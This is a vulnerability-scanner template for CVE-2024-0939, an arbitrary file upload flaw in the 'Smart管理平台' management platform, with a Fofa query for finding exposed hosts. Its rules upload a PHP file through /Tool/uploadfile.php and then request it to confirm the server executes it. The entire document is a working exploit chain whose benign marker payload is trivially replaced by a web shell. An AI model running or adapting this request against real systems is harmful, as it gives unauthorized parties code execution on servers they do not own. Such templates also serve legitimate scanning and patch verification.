漏洞描述
Fofa: "Smart管理平台"
id: CVE-2024-0939
info:
name: Smart管理平台多版本任意文件上传
author: zan8in
severity: critical
verified: true
description: |-
Fofa: "Smart管理平台"
reference:
- https://mp.weixin.qq.com/s/Z9YR9BWSBFFdR1j0W9GRFg
tags: cve,cve2024,smart,fileupload
created: 2024/02/19
set:
randstr: randomLowercase(6)
rboundary: randomLowercase(8)
s1: randomInt(100000, 200000)
s2: randomInt(100000, 200000)
rules:
r0:
request:
method: POST
path: /Tool/uploadfile.php?
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file_upload\"; filename=\"contents.php\"\r\n\
Content-Type: application/octet-stream\r\n\
\r\n\
<?php print({{s1}}*{{s2}}); ?>\r\n\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"txt_path\"\r\n\
\r\n\
/home/{{randstr}}.php\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: response.status == 200
r1:
request:
method: GET
path: /home/{{randstr}}.php
expression: response.status == 200 && response.body.bcontains(bytes(string(s1*s2)))
expression: r0() && r1()